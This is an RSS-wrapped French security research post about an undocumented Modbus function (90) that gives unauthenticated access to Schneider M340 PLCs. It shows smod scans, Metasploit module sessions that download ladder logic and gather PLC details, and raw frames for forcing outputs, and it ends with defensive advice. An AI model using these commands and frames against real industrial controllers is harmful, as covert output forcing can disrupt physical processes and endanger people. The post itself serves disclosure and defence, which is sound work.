<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>modbus - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/modbus/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/modbus/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Sun, 02 May 2021 18:22:07 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>modbus - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/modbus/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Fun with Modbus 0x5A</title>
		<link>https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 09 Feb 2018 17:45:05 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[modbus]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15813</guid>

					<description><![CDATA[<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&#38;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels. Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g Revenons...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">
<figure id="post-15816 media-15816" class="align-none"><img fetchpriority="high" decoding="async" class="size-full wp-image-15816 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x19.jpg 71w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&amp;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.</p>
</div>
<div style="text-align: justify;">Vous pouvez retrouver notre intervention en vidéo : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></div>
<div style="text-align: justify;">Revenons sur ces travaux et la manière dont ils peuvent être exploités.</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>Le protocole Modbus</h2>
</div>
<div style="text-align: justify;">Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.</div>
<div style="text-align: justify;">Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0</pre>
</div>
<div style="text-align: center;"><i>Lecture de données Modbus avec le programme « mbtget »</i></div>
<p>&nbsp;</p>
<div style="text-align: justify;">D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :</div>
<div style="text-align: justify;">
<figure id="post-15818 media-15818" class="align-none"><img decoding="async" class="size-full wp-image-15818 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png" alt="" width="640" height="442" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-245x170.png 245w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)</i></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~/smod# python smod.py 
&lt; SMOD &gt;
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD &gt; use modbus/scanner/getfunc
SMOD modbus(getfunc) &gt; show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110
SMOD modbus(getfunc) &gt; set UID 1
SMOD modbus(getfunc) &gt; exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.</pre>
</div>
<p>&nbsp;</p>
<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :</p>
<div style="text-align: justify;">
<p class="separator" style="clear: both; text-align: center;">
<figure id="post-15820 media-15820" class="align-none"><img decoding="async" class="size-full wp-image-15820 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg" alt="" width="375" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-348x191.jpg 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-71x39.jpg 71w" sizes="(max-width: 375px) 100vw, 375px" /></figure>
</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>La fonction Modbus 0x5a</h2>
</div>
<div style="text-align: justify;">
<h3>Historique</h3>
</div>
<div style="text-align: justify;">L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : <a href="http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/">http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/</a></div>
<div style="text-align: justify;">Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : <a href="https://youtu.be/dtadMIN3CCc?t=35m29">https://youtu.be/dtadMIN3CCc?t=35m29</a>s</div>
<div style="text-align: justify;">Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15822 media-15822" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15822 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Capture réseau des échanges entre le logiciel de programmation et un automate Schneider</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Récupération du programme automate</h3>
</div>
<div style="text-align: justify;">La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.</div>
<div style="text-align: justify;">
<ul>
<li>Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)</li>
<li>Récupérons le programme de l’automate</li>
</ul>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD
ACTION =&gt; DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) &gt;</pre>
</div>
<ul>
<li>Insérons le fichier « .apx » dans l’archive</li>
</ul>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#</pre>
</div>
<ul>
<li>Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :</li>
</ul>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15824 media-15824" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15824 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png" alt="" width="640" height="393" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Affichage du code « ladder » dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : <a href="https://www.youtube.com/watch?v=xRbulEX3_3o">https://www.youtube.com/watch?v=xRbulEX3_3o</a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<p id="post-15826 media-15826" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15826 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png" alt="" width="640" height="113" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-437x77.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.</div>
<div style="text-align: justify;">
<h4>Récupération des informations du programme</h4>
</div>
<div style="text-align: justify;">L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.</div>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<figure id="post-15828 media-15828" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15828 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png" alt="" width="640" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-69x39.png 69w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Capture réseau entre Unity Pro et un automate Schneider M340</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf &gt; use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) &gt; show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS 
ACTION =&gt; GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) &gt; show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110
RHOST =&gt; 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed</pre>
</div>
<div style="text-align: justify;">
<p style="text-align: center;"><i>Récupération d’information via le module Metasploit</i></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15830 media-15830" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15830 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png" alt="" width="525" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png 525w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-155x120.png 155w" sizes="auto, (max-width: 525px) 100vw, 525px" /></figure>
</div>
<div style="text-align: center;"><i>Informations sur le projet dans Unity pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Forçage de valeurs</h3>
</div>
<div style="text-align: justify;">Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.</div>
<div style="text-align: justify;">Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15832 media-15832" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15832 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png" alt="" width="640" height="418" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-292x191.png 292w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-60x39.png 60w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Forçage de valeurs à 1 dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie <b>%Q0.17</b> à 1, et forcer la sortie <b>%Q0.18</b> à 0 :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02</pre>
</div>
<div style="text-align: justify;">Un octet permet de déterminer la sortie à forcer :</div>
<div style="text-align: justify;">
<ul>
<li>0x11 pour la sortie %Q0.17</li>
<li>0x12 pour la sortie %Q0.18</li>
</ul>
</div>
<p>La valeur de forçage est déterminée par le dernier octet :</p>
<ul>
<li>0x03 pour 0</li>
<li>0x02 pour 1</li>
<li>0x04 pour annuler le forçage</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : <a href="https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc">https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc</a></span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"> </span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Le module Metasploit n&rsquo;étant pas totalement finalisé, il n&rsquo;a pas fait l&rsquo;objet d&rsquo;une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : <a href="https://github.com/wavestone-cdt/ics-tools">https://github.com/wavestone-cdt/ics-tools</a>.</span></div>
<p>&nbsp;</p>
<h2 style="text-align: justify;"><span style="font-family: inherit;">Conclusion et sécurisation</span></h2>
<div style="text-align: justify;"><span style="font-family: inherit;">Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Qu’en est-il ailleurs ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : <a href="http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/">http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/</a>.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Que faire ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l&rsquo;insertion, dans la logique de l&rsquo;automate, quelques fonctions visant à assurer la détection d&rsquo;une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l&rsquo;opérateur lorsque des valeurs sont forcées, mais cette capacité n&rsquo;est, à notre connaissance, pas proposée par les automates étudiés.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"><br />
</span></p>
<div style="text-align: right;"><b>Arnaud SOULLIE</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
